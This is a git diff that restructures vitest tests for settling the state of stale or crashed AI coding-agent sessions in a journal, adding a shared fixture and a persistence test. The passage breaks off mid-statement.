- it('ends a watched exit at the exit', () => { - expect(verdictForTurn({ kind: 'exit-observed', detail: 'exit', observedAt: 500 })).toEqual({ - state: 'interrupted', - completedAt: 500 - }) - }) - - it.each(['pid-absent', 'identity-mismatch'] as const)( - 'ends a %s proof at the last proof of life, never after the probe', - (kind) => { - const proof = (lastProvenAliveAt?: number) => ({ - kind, - detail: 'gone', - observedAt: 9_000, - ...(lastProvenAliveAt === undefined ? {} : { lastProvenAliveAt }) - }) - // Last proof of life bounds completion so downtime is never counted as work. - expect(verdictForTurn(proof(8_000))).toEqual({ state: 'interrupted', completedAt: 8_000 }) - expect(verdictForTurn(proof(9_500))).toEqual({ state: 'interrupted', completedAt: 9_000 }) - expect(verdictForTurn(proof())).toEqual({ state: 'interrupted', completedAt: 9_000 }) - } - ) - - it('ends a watched exit at the exit even when a renewal is recorded', () => { - expect( - verdictForTurn({ - kind: 'exit-observed', - detail: 'exit', - observedAt: 500, - lastProvenAliveAt: 400 - }) - ).toEqual({ state: 'interrupted', completedAt: 500 }) - }) - - it.each([0, -1, Number.NaN, Number.POSITIVE_INFINITY])( - 'keeps proven exit without an invalid time %s', - (observedAt) => { - expect(verdictForTurn({ kind: 'exit-observed', detail: '', observedAt })).toEqual({ - state: 'interrupted' - }) - } - ) - - it('leaves a release nothing proved unverifiable', () => { - expect(verdictForTurn(null)).toEqual({ state: 'unverifiable' }) - expect(verdictForTurn(undefined)).toEqual({ state: 'unverifiable' }) - }) - it('keeps the rule an older build applied to evidence that names no owner', () => { - // Legacy ownerless evidence proves only observed exit, never probe results. - const legacy = { detail: 'gone', observedAt: 9_000, lastProvenAliveAt: 8_000 } - expect(turnVerdictFromDeathEvidence({ ...legacy, kind: 'exit-observed' }, 1)).toEqual({ - state: 'interrupted', - completedAt: 9_000 - }) - expect(turnVerdictFromDeathEvidence({ ...legacy, kind: 'pid-absent' }, 1)).toEqual({ - state: 'unverifiable' - }) - }) - - it('gives a turn no end from evidence about any other owner', () => { - const proof = { - kind: 'pid-absent' as const, - detail: 'gone', - observedAt: 9_000, - lastProvenAliveAt: 8_000 - } - // Another owner’s death or unknown turn provenance cannot prove this owner ended. - for (const [evidence, turnFence] of [ - [{ ...proof, ownerFence: 3 }, 1], - [{ ...proof, kind: 'exit-observed' as const, ownerFence: 3 }, 1], - [{ ...proof, ownerFence: 1 }, undefined] - ] as const) { - expect(turnVerdictFromDeathEvidence(evidence, turnFence)).toEqual({ state: 'unverifiable' }) - } +it('ends a watched exit at the exit', () => { + expect(verdictForTurn({ kind: 'exit-observed', detail: 'exit', observedAt: 500 })).toEqual({ + state: 'interrupted', + completedAt: 500 }) }) -describe('running turn lifecycle revisions', () => { - it('revises only running rows in place and carries an end time only for an observed exit', () => { - const items = [ - lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }), - lifecycleItem('turn-2', 'running', 2, { startedAt: 30, completedAt: 99 }) - ] - expect(runningTurnLifecycleRevisions(items, { state: 'interrupted', completedAt: 40 })).toEqual( - [ - { - kind: 'item', - itemId: agentJournalItemKey(RUNNING_IDENTITY), - body: { - kind: 'turn', - turnId: 'turn-2', - state: 'interrupted', - startedAt: 30, - completedAt: 40 - }, - turnScope: { kind: 'thread' } - } - ] - ) - expect(runningTurnLifecycleRevisions(items, { state: 'unverifiable' })).toEqual([ - expect.objectContaining({ - body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable', startedAt: 30 } - }) - ]) - }) - - it('keeps known turn fields and extensions in the rewrite', () => { - const contextUsage = { - used: { - kind: 'estimate' as const, - usage: { - inputTokens: 1, - cacheCreationInputTokens: 0, - cacheReadInputTokens: 90_000, - outputTokens: 5 - }, - capturedAt: 35 - } - } - const running = lifecycleItem('turn-2', 'running', 2, { startedAt: 30 }) - const body = { - ...running.body, - requestedAt: 29, - userItemId: 'user-2', - contextUsage, - laterField: { kept: true }, - outcome: 'success' as const, - durationMs: 7 - } - const items: AgentJournalRenderItem[] = [{ ...running, body }] - const kept = { - kind: 'turn', - turnId: 'turn-2', - startedAt: 30, - requestedAt: 29, - userItemId: 'user-2', - contextUsage, - laterField: { kept: true } - } - expect( - runningTurnLifecycleRevisions(items, { state: 'interrupted', completedAt: 40 })[0] - ).toMatchObject({ body: { ...kept, state: 'interrupted', completedAt: 40 } }) - expect(items[0]?.body).toHaveProperty('laterField') - const unverifiable = runningTurnLifecycleRevisions(items, UNVERIFIABLE_TURN_VERDICT)[0] - expect(unverifiable?.kind === 'item' ? unverifiable.body : null).toEqual({ - ...kept, - state: 'unverifiable' +it.each(['pid-absent', 'identity-mismatch'] as const)( + 'ends a %s proof at the last proof of life, never after the probe', + (kind) => { + const proof = (lastProvenAliveAt?: number) => ({ + kind, + detail: 'gone', + observedAt: 9_000, + ...(lastProvenAliveAt === undefined ? {} : { lastProvenAliveAt }) }) + // Last proof of life bounds completion so downtime is never counted as work. + expect(verdictForTurn(proof(8_000))).toEqual({ state: 'interrupted', completedAt: 8_000 }) + expect(verdictForTurn(proof(9_500))).toEqual({ state: 'interrupted', completedAt: 9_000 }) + expect(verdictForTurn(proof())).toEqual({ state: 'interrupted', completedAt: 9_000 }) + } +) + +it('ends a watched exit at the exit even when a renewal is recorded', () => { + expect( + verdictForTurn({ + kind: 'exit-observed', + detail: 'exit', + observedAt: 500, + lastProvenAliveAt: 400 + }) + ).toEqual({ state: 'interrupted', completedAt: 500 }) +}) + +it.each([0, -1, Number.NaN, Number.POSITIVE_INFINITY])( + 'keeps proven exit without an invalid time %s', + (observedAt) => { + expect(verdictForTurn({ kind: 'exit-observed', detail: '', observedAt })).toEqual({ + state: 'interrupted' + }) + } +) + +it('leaves a release nothing proved unverifiable', () => { + expect(verdictForTurn(null)).toEqual({ state: 'unverifiable' }) + expect(verdictForTurn(undefined)).toEqual({ state: 'unverifiable' }) +}) + +it('keeps the rule an older build applied to evidence that names no owner', () => { + // Legacy ownerless evidence proves only observed exit, never probe results. + const legacy = { detail: 'gone', observedAt: 9_000, lastProvenAliveAt: 8_000 } + expect(turnVerdictFromDeathEvidence({ ...legacy, kind: 'exit-observed' }, 1)).toEqual({ + state: 'interrupted', + completedAt: 9_000 }) + expect(turnVerdictFromDeathEvidence({ ...legacy, kind: 'pid-absent' }, 1)).toEqual({ + state: 'unverifiable' + }) +}) - it.each([0, -1, Number.NaN, Number.POSITIVE_INFINITY])( - 'keeps an untimed interruption for %s even when the saved turn has a start', - (completedAt) => { - const item = lifecycleItem('turn-2', 'running', 2, { startedAt: 500 }) - expect( - runningTurnLifecycleRevisions([item], { state: 'interrupted', completedAt }) - ).toMatchObject([{ body: { kind: 'turn', state: 'interrupted', startedAt: 500 } }]) - const [mutation] = runningTurnLifecycleRevisions([item], { +it('gives a turn no end from evidence about any other owner', () => { + const proof = { + kind: 'pid-absent' as const, + detail: 'gone', + observedAt: 9_000, + lastProvenAliveAt: 8_000 + } + // Another owner’s death or unknown turn provenance cannot prove this owner ended. + for (const [evidence, turnFence] of [ + [{ ...proof, ownerFence: 3 }, 1], + [{ ...proof, kind: 'exit-observed' as const, ownerFence: 3 }, 1], + [{ ...proof, ownerFence: 1 }, undefined] + ] as const) { + expect(turnVerdictFromDeathEvidence(evidence, turnFence)).toEqual({ state: 'unverifiable' }) + } +}) + +it('revises only running rows in place and carries an end time only for an observed exit', () => { + const items = [ + lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }), + lifecycleItem('turn-2', 'running', 2, { startedAt: 30, completedAt: 99 }) + ] + expect(runningTurnLifecycleRevisions(items, { state: 'interrupted', completedAt: 40 })).toEqual([ + { + kind: 'item', + itemId: agentJournalItemKey(RUNNING_IDENTITY), + body: { + kind: 'turn', + turnId: 'turn-2', state: 'interrupted', - completedAt - }) - expect(mutation?.kind === 'item' ? mutation.body : null).not.toHaveProperty('completedAt') + startedAt: 30, + completedAt: 40 + }, + turnScope: { kind: 'thread' } } - ) + ]) + expect(runningTurnLifecycleRevisions(items, { state: 'unverifiable' })).toEqual([ + expect.objectContaining({ + body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable', startedAt: 30 } + }) + ]) +}) - it('never ends a turn before it began, when the last proof of life predates it', () => { +it('keeps known turn fields and extensions in the rewrite', () => { + const contextUsage = { + used: { + kind: 'estimate' as const, + usage: { + inputTokens: 1, + cacheCreationInputTokens: 0, + cacheReadInputTokens: 90_000, + outputTokens: 5 + }, + capturedAt: 35 + } + } + const running = lifecycleItem('turn-2', 'running', 2, { startedAt: 30 }) + const body = { + ...running.body, + requestedAt: 29, + userItemId: 'user-2', + contextUsage, + laterField: { kept: true }, + outcome: 'success' as const, + durationMs: 7 + } + const items: AgentJournalRenderItem[] = [{ ...running, body }] + const kept = { + kind: 'turn', + turnId: 'turn-2', + startedAt: 30, + requestedAt: 29, + userItemId: 'user-2', + contextUsage, + laterField: { kept: true } + } + expect( + runningTurnLifecycleRevisions(items, { state: 'interrupted', completedAt: 40 })[0] + ).toMatchObject({ body: { ...kept, state: 'interrupted', completedAt: 40 } }) + expect(items[0]?.body).toHaveProperty('laterField') + const unverifiable = runningTurnLifecycleRevisions(items, UNVERIFIABLE_TURN_VERDICT)[0] + expect(unverifiable?.kind === 'item' ? unverifiable.body : null).toEqual({ + ...kept, + state: 'unverifiable' + }) +}) + +it.each([0, -1, Number.NaN, Number.POSITIVE_INFINITY])( + 'keeps an untimed interruption for %s even when the saved turn has a start', + (completedAt) => { const item = lifecycleItem('turn-2', 'running', 2, { startedAt: 500 }) expect( - runningTurnLifecycleRevisions([item], { state: 'interrupted', completedAt: 300 }) - ).toMatchObject([{ body: { kind: 'turn', state: 'interrupted', completedAt: 500 } }]) - }) + runningTurnLifecycleRevisions([item], { state: 'interrupted', completedAt }) + ).toMatchObject([{ body: { kind: 'turn', state: 'interrupted', startedAt: 500 } }]) + const [mutation] = runningTurnLifecycleRevisions([item], { + state: 'interrupted', + completedAt + }) + expect(mutation?.kind === 'item' ? mutation.body : null).not.toHaveProperty('completedAt') + } +) - it('revises a legacy status-form running row from an older host into a typed turn', () => { - expect( - runningTurnLifecycleRevisions([legacyLifecycleItem('turn-2', 30)], { state: 'unverifiable' }) - ).toEqual([ +it('never ends a turn before it began, when the last proof of life predates it', () => { + const item = lifecycleItem('turn-2', 'running', 2, { startedAt: 500 }) + expect( + runningTurnLifecycleRevisions([item], { state: 'interrupted', completedAt: 300 }) + ).toMatchObject([{ body: { kind: 'turn', state: 'interrupted', completedAt: 500 } }]) +}) + +it('revises a legacy status-form running row from an older host into a typed turn', () => { + expect( + runningTurnLifecycleRevisions([legacyLifecycleItem('turn-2', 30)], { state: 'unverifiable' }) + ).toEqual([ + { + kind: 'item', + itemId: agentJournalItemKey(RUNNING_IDENTITY), + body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable', startedAt: 30 }, + turnScope: { kind: 'thread' } + } + ]) +}) + +it('revises a saved row by its key even when its identity cannot be parsed', () => { + const item = { ...lifecycleItem('turn-2', 'running', 2), itemId: 'not-an-item-key' } + expect(runningTurnLifecycleRevisions([item], { state: 'unverifiable' })).toEqual([ + { + kind: 'item', + itemId: 'not-an-item-key', + body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable' }, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ]) +}) + +it('marks a running row from the dead generation unverifiable without an end time', async () => { + const { journal, appendLifecycleBatch } = journalWith([ + lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }), + lifecycleItem('turn-2', 'running', 2, { startedAt: 30 }) + ]) + + await expect( + settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 14, + acquisitionGeneration: 'generation-2', + deathEvidence: null + }) + ).resolves.toBe(1) + + expect(appendLifecycleBatch).toHaveBeenCalledExactlyOnceWith({ + settlementId: 'stale-session:session-1:14:generation-2', + fence: 14, + recovered: true, + dispatches: [], + mutations: [ { kind: 'item', itemId: agentJournalItemKey(RUNNING_IDENTITY), body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable', startedAt: 30 }, turnScope: { kind: 'thread' } } - ]) - }) - - it('revises a saved row by its key even when its identity cannot be parsed', () => { - const item = { ...lifecycleItem('turn-2', 'running', 2), itemId: 'not-an-item-key' } - expect(runningTurnLifecycleRevisions([item], { state: 'unverifiable' })).toEqual([ - { - kind: 'item', - itemId: 'not-an-item-key', - body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable' }, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - } - ]) - }) -}) - -const PROVEN: AgentSessionDeathEvidence = { - kind: 'pid-absent', - detail: 'recorded pid absent on host', - observedAt: 9_000, - ownerFence: 1, - lastProvenAliveAt: 100 -} - -describe('stale session state on a cold acquire', () => { - function journalWith(items: AgentJournalRenderItem[]) { - const appendLifecycleBatch = vi.fn(async () => ({ epoch: 'epoch-1', sequence: 9 })) - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the settle reads only these journal members. - const journal = { - snapshot: () => ({ items }), - itemFence: () => 1, - lastProviderActivityAt: () => undefined, - stopMarks: { latest: () => null }, - cursor: () => ({ epoch: 'epoch-1', sequence: 8 }), - submissions: () => [], - appendPlannedLifecycleBatch: plannedBatchThrough(appendLifecycleBatch) - } as unknown as AgentSessionJournal - return { journal, appendLifecycleBatch } - } - - it('marks a running row from the dead generation unverifiable without an end time', async () => { - const { journal, appendLifecycleBatch } = journalWith([ - lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }), - lifecycleItem('turn-2', 'running', 2, { startedAt: 30 }) - ]) - - await expect( - settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 14, - acquisitionGeneration: 'generation-2', - deathEvidence: null - }) - ).resolves.toBe(1) - - expect(appendLifecycleBatch).toHaveBeenCalledExactlyOnceWith({ - settlementId: 'stale-session:session-1:14:generation-2', - fence: 14, - recovered: true, - dispatches: [], - mutations: [ - { - kind: 'item', - itemId: agentJournalItemKey(RUNNING_IDENTITY), - body: { kind: 'turn', turnId: 'turn-2', state: 'unverifiable', startedAt: 30 }, - turnScope: { kind: 'thread' } - } - ] - }) - }) - - it('cancels only prompts whose callbacks were lost with the prior owner', async () => { - const pending = promptItem('pending', 1) - const resolved = promptItem('resolved', 2) - const { journal, appendLifecycleBatch } = journalWith([pending, resolved]) - - await expect( - settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 14, - acquisitionGeneration: 'generation-2', - deathEvidence: null - }) - ).resolves.toBe(1) - - expect(appendLifecycleBatch).toHaveBeenCalledExactlyOnceWith({ - settlementId: 'stale-session:session-1:14:generation-2', - fence: 14, - recovered: true, - dispatches: [], - mutations: [ - { - kind: 'item', - itemId: pending.itemId, - body: { - ...pending.body, - resolution: { - state: 'cancelled', - selectedOptionId: null, - resolvedBy: null, - resolvedAt: null - } - }, - turnScope: { kind: 'thread' } - } - ] - }) - }) - - it("cancels a subagent's lost prompt as the subagent's, and the session's own as its own", async () => { - // Producer-free cancellation revisions must retain original attribution. - const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) - const journals = createTrackedJournalOpener() - try { - const journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - }, - stateDirectory: root, - now: () => 1_000 - }) - const child = { agentId: 'thread-child', producerKind: 'agent' as const } - const { body } = promptItem('pending', 1) - const prompt = (threadId: string) => ({ - provider: 'codex' as const, - threadId, - turnId: 'turn-1', - ordinal: 1 - }) - await journal.appendItem(prompt('thread-child'), body, { - fence: 1, - ...child, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - await journal.appendItem(prompt(THREAD), body, { - fence: 1, - turnScope: AGENT_JOURNAL_THREAD_SCOPE - }) - - await settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 2, - acquisitionGeneration: 'generation-2', - deathEvidence: null - }) - - expect( - journal.snapshot().items.map((item) => [item.body.kind, item.revision, item.agentId]) - ).toEqual([ - ['approval', 2, 'thread-child'], - ['approval', 2, undefined] - ]) - } finally { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - } - }) - - it('uses provider output after a renewal, excluding a later client message', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) - const journals = createTrackedJournalOpener() - let now = 100 - try { - const journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - }, - stateDirectory: root, - now: () => now - }) - const command = { provider: 'codex' as const, threadId: THREAD, turnId: 'turn-1', ordinal: 1 } - const shell = { kind: 'tool-call' as const, name: 'shell', input: { command: 'pnpm test' } } - const turnScope = turnScopeOf({ ...command, ordinal: 0 }) - await journal.appendItem( - { ...command, ordinal: 0 }, - { kind: 'turn', turnId: 'turn-1', state: 'running', startedAt: 100 }, - { fence: 1, turnScope } - ) - now = 200 - await journal.appendItem(command, { ...shell, state: 'running' }, { fence: 1, turnScope }) - // Provider output can prove life after lease renewal. - now = 700 - await journal.appendItem( - command, - { ...shell, input: { command: 'pnpm test', streamed: 'ok' }, state: 'running' }, - { fence: 1, turnScope } - ) - now = 800 - await journal.appendItem( - { provider: 'orca', clientMessageId: 'late-send' }, - { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'next task' }] }, - { fence: 1, turnScope } - ) - now = 9_000 - - await settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 2, - acquisitionGeneration: 'generation-2', - deathEvidence: { - kind: 'pid-absent', - detail: 'recorded pid absent on host', - observedAt: 9_000, - ownerFence: 1, - lastProvenAliveAt: 650 - } - }) - - const items = journal.snapshot().items - expect(items.map((item) => readAgentJournalTurn(item.body)).find(Boolean)).toMatchObject({ - state: 'interrupted', - completedAt: 700 - }) - expect( - items.flatMap((item) => (item.body.kind === 'status' ? [item.body.text] : [])) - ).toEqual([ - 'The agent stopped while this response was in progress. You can continue in this conversation.' - ]) - } finally { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - } - }) - - it('ends a crashed turn at its last proof of life, not at a send accepted before the proof', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) - const journals = createTrackedJournalOpener() - let now = 100 - try { - const journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - }, - stateDirectory: root, - now: () => now - }) - await journal.appendItem( - RUNNING_IDENTITY, - { kind: 'turn', turnId: 'turn-2', state: 'running', startedAt: 100 }, - { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } - ) - now = 200 - await journal.appendItem( - { ...RUNNING_IDENTITY, ordinal: 1 }, - { kind: 'tool-call', name: 'shell', input: { command: 'pnpm test' }, state: 'running' }, - { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } - ) - const settle = (deathEvidence: AgentSessionDeathEvidence | null) => - settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 1, - acquisitionGeneration: null, - deathEvidence - }) - now = 3_600_000 - await settle(null) - const turn = () => journal.snapshot().items.map((item) => readAgentJournalTurn(item.body))[0] - expect(turn()).toMatchObject({ state: 'unverifiable' }) - now = 3_605_000 - await journal.appendSubmission({ - clientMessageId: 'send-1', - payloadFingerprint: 'fingerprint-1', - body: { kind: 'message', role: 'user', blocks: [{ type: 'text', text: 'still there?' }] }, - fence: 1, - handoverRecorded: true - }) - await journal.resolveDispatch({ - clientMessageId: 'send-1', - state: 'pending', - turnScope: AGENT_JOURNAL_THREAD_SCOPE, - fence: 1 - }) - now = 3_606_000 - - await settle({ - kind: 'pid-absent', - detail: 'gone', - observedAt: 3_606_000, - ownerFence: 1, - lastProvenAliveAt: 210 - }) - - expect(turn()).toMatchObject({ state: 'interrupted', completedAt: 210 }) - } finally { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - } - }) - - it('revises an unverifiable turn only from a proof naming its own owner, and only once', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) - const journals = createTrackedJournalOpener() - let now = 100 - try { - const journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - }, - stateDirectory: root, - now: () => now - }) - await journal.appendItem( - RUNNING_IDENTITY, - { kind: 'turn', turnId: 'turn-2', state: 'running', startedAt: 100 }, - { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } - ) - now = 400 - const settle = (deathEvidence: AgentSessionDeathEvidence | null) => - settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 2, - acquisitionGeneration: null, - deathEvidence - }) - await settle(null) - now = 9_000 - const turn = () => journal.snapshot().items.map((item) => readAgentJournalTurn(item.body))[0] - expect(turn()).toMatchObject({ state: 'unverifiable' }) - - const unrevised = journal.cursor() - await expect(settle({ ...PROVEN, ownerFence: 2 })).resolves.toBe(0) - const { ownerFence: _ownerFence, ...olderBuildProof } = PROVEN - await expect(settle({ ...olderBuildProof, kind: 'exit-observed' })).resolves.toBe(0) - expect(journal.cursor()).toEqual(unrevised) - expect(turn()).toMatchObject({ state: 'unverifiable' }) - - await expect(settle(PROVEN)).resolves.toBe(2) - expect(turn()).toEqual({ - turnId: 'turn-2', - state: 'interrupted', - startedAt: 100, - completedAt: 100 - }) - const revised = journal.cursor() - await expect(settle(PROVEN)).resolves.toBe(0) - expect(journal.cursor()).toEqual(revised) - expect(journal.snapshot().items.filter((item) => item.body.kind === 'status')).toHaveLength(1) - } finally { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - } - }) - - it('adds one row for a death however many attempts its settle takes to write', async () => { - const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) - const journals = createTrackedJournalOpener() - let now = 100 - try { - const journal = await journals.open({ - identity: { - sessionId: 'session-1', - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - }, - stateDirectory: root, - now: () => now - }) - for (let index = 0; index < 399; index++) { - const turnId = `turn-${index}` - await journal.appendItem( - { ...RUNNING_IDENTITY, turnId }, - { kind: 'turn', turnId, state: 'running', startedAt: 100 }, - { fence: 1, turnScope: turnScopeOf({ ...RUNNING_IDENTITY, turnId }) } - ) - } - now = 9_000 - const settle = () => - settleStaleStructuredAgentSessionState({ - journal, - sessionId: 'session-1', - fence: 2, - acquisitionGeneration: null, - deathEvidence: PROVEN - }) - const turns = () => - journal.snapshot().items.flatMap((item) => readAgentJournalTurn(item.body) ?? []) - const statusRows = () => - journal.snapshot().items.filter((item) => item.body.kind === 'status') - const database = openTestJournalHostDatabase(root) - const cursor = journal.cursor() - database.db.exec(`CREATE TEMP TRIGGER reject_later_stale_settlement - BEFORE INSERT ON journal_rows - WHEN NEW.session_id = 'session-1' AND NEW.seq > ${cursor.sequence + 1} - AND json_extract(NEW.row_json, '$.recovered') = 1 - BEGIN SELECT RAISE(ABORT, 'disk full'); END`) - - await expect(settle()).rejects.toThrow('disk full') - database.db.exec('DROP TRIGGER reject_later_stale_settlement') - expect(journal.cursor()).toEqual(cursor) - expect(turns().filter((turn) => turn.state === 'running')).toHaveLength(399) - expect(statusRows()).toHaveLength(0) - - await settle() - expect(turns().filter((turn) => turn.state !== 'interrupted')).toEqual([]) - expect(statusRows()).toHaveLength(1) - } finally { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - } - }) - - it('writes nothing when no turn is running and keys on the journal position without a generation', async () => { - const idle = journalWith([ - lifecycleItem('turn-1', 'completed', 1, { startedAt: 10, completedAt: 20 }) - ]) - await expect( - settleStaleStructuredAgentSessionState({ - journal: idle.journal, - sessionId: 'session-1', - fence: 14, - acquisitionGeneration: null, - deathEvidence: null - }) - ).resolves.toBe(0) - expect(idle.appendLifecycleBatch).not.toHaveBeenCalled() - - const running = journalWith([lifecycleItem('turn-2', 'running', 2)]) - await settleStaleStructuredAgentSessionState({ - journal: running.journal, - sessionId: 'session-1', - fence: 14, - acquisitionGeneration: null, - deathEvidence: null - }) - expect(running.appendLifecycleBatch).toHaveBeenCalledWith( - expect.objectContaining({ settlementId: 'stale-session:session-1:14:seq-8' }) - ) + ] }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-contract-test-fixture.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-contract-test-fixture.ts new file mode 100644 index 00000000000..9620ca2989e --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-contract-test-fixture.ts @@ -0,0 +1,107 @@ +import { vi } from 'vitest' +import { agentJournalItemKey } from '../../../shared/agent-session-journal-item-key' +import type { + AgentJournalItemIdentity, + AgentJournalRenderItem, + AgentJournalTurnScope +} from '../../../shared/agent-session-journal-types' +import type { AgentSessionDeathEvidence } from '../../../shared/agent-session-record' +import type { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { plannedBatchThrough } from './structured-agent-session-settlement-double.test-fixture' +import { turnVerdictFromDeathEvidence } from './structured-agent-session-stale-turn-verdict' + +export const THREAD = 'thread-1' + +export const RUNNING_IDENTITY = { + provider: 'codex' as const, + threadId: THREAD, + turnId: 'turn-2', + ordinal: 0 +} + +export function turnScopeOf(identity: AgentJournalItemIdentity): AgentJournalTurnScope { + return { kind: 'turn', turnItemId: agentJournalItemKey(identity) } +} + +export function lifecycleItem( + turnId: string, + state: 'running' | 'completed', + sequence: number, + extra: { startedAt?: number; completedAt?: number } = {} +): AgentJournalRenderItem { + return { + itemId: agentJournalItemKey({ provider: 'codex', threadId: THREAD, turnId, ordinal: 0 }), + revision: 1, + sequence, + observedAt: sequence, + body: { kind: 'turn', turnId, state, ...extra } + } +} + +/** Read legacy status-form lifecycle carriers without writing them back. */ + +export function legacyLifecycleItem(turnId: string, startedAt: number): AgentJournalRenderItem { + return { + ...lifecycleItem(turnId, 'running', 2), + body: { + kind: 'status', + text: 'Working', + turnLifecycle: { turnId, state: 'running', startedAt } + } + } +} + +export function promptItem( + state: 'pending' | 'resolved', + sequence: number +): AgentJournalRenderItem { + return { + itemId: agentJournalItemKey({ + provider: 'legacy', + agent: 'codex', + sessionId: 'session-1', + recordId: `approval-${state}` + }), + revision: 1, + sequence, + observedAt: sequence, + body: { + kind: 'approval', + title: 'Approve?', + detail: null, + options: [], + resolution: { + state, + selectedOptionId: state === 'resolved' ? 'allow' : null, + resolvedBy: state === 'resolved' ? 'client-1' : null, + resolvedAt: state === 'resolved' ? 10 : null + } + } + } +} + +export const verdictForTurn = (evidence: AgentSessionDeathEvidence | null | undefined) => + turnVerdictFromDeathEvidence(evidence && { ownerFence: 1, ...evidence }, 1) + +export const PROVEN: AgentSessionDeathEvidence = { + kind: 'pid-absent', + detail: 'recorded pid absent on host', + observedAt: 9_000, + ownerFence: 1, + lastProvenAliveAt: 100 +} + +export function journalWith(items: AgentJournalRenderItem[]) { + const appendLifecycleBatch = vi.fn(async () => ({ epoch: 'epoch-1', sequence: 9 })) + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the settle reads only these journal members. + const journal = { + snapshot: () => ({ items }), + itemFence: () => 1, + lastProviderActivityAt: () => undefined, + stopMarks: { latest: () => null }, + cursor: () => ({ epoch: 'epoch-1', sequence: 8 }), + submissions: () => [], + appendPlannedLifecycleBatch: plannedBatchThrough(appendLifecycleBatch) + } as unknown as AgentSessionJournal + return { journal, appendLifecycleBatch } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-persistence.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-persistence.test.ts new file mode 100644 index 00000000000..9ec2aabca8b --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-stale-verdict-persistence.test.ts @@ -0,0 +1,167 @@ +import { mkdtemp, rm } from 'node:fs/promises' +import { tmpdir } from 'node:os' +import { join } from 'node:path' +import { expect, it } from 'vitest' +import type { AgentSessionDeathEvidence } from '../../../shared/agent-session-record' +import { readAgentJournalTurn } from '../../../shared/agent-session-turn-record' +import { + createTrackedJournalOpener, + openTestJournalHostDatabase +} from '../agent-session-journal/journal-host-database-test-support' +import { settleStaleStructuredAgentSessionState } from './structured-agent-session-dead-generation-settlement' +import { codexProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' + +import { + PROVEN, + RUNNING_IDENTITY, + THREAD, + journalWith, + lifecycleItem, + turnScopeOf +} from './structured-agent-session-stale-verdict-contract-test-fixture' + +it('revises an unverifiable turn only from a proof naming its own owner, and only once', async () => { + const root = await mkdtemp(join(tmpdir(), 'orca-stale-session-')) + const journals = createTrackedJournalOpener({ legacyInputs: true }) + let now = 100 + try { + const journal = await journals.open({ + identity: { + sessionId: 'session-1', + workspaceId: 'workspace-1', + hostId: 'local', + agent: 'codex', + providerHandle: codexProviderHandle(THREAD) + }, + stateDirectory: root, + now: () => now + }) + await journal.appendItem( + RUNNING_IDENTITY, + { kind: 'turn', turnId: 'turn-2', state: 'running', startedAt: 100 }, + { fence: 1, turnScope: turnScopeOf(RUNNING_IDENTITY) } + ) + now = 400 + const settle = (deathEvidence: AgentSessionDeathEvidence | null) => + settleStaleStructuredAgentSessionState({ + journal, + sessionId: 'session-1', + fence: 2, + acquisitionGeneration: null, + deathEvidence + }) + await settle(null) + now = 9_000 + const turn = () => journal.snapshot().items.map((item) => readAgentJournalTurn(item.body))[0] + expect(turn()).toMatchObject({ state: 'unverifiable' }) + + const unrevised = journal.cursor() + await expect(settle({ ...PROVEN, ownerFence: 2 })).resolves.toBe(0) + const { ownerFence: _ownerFence, ...olderBuildProof } = PROVEN + await 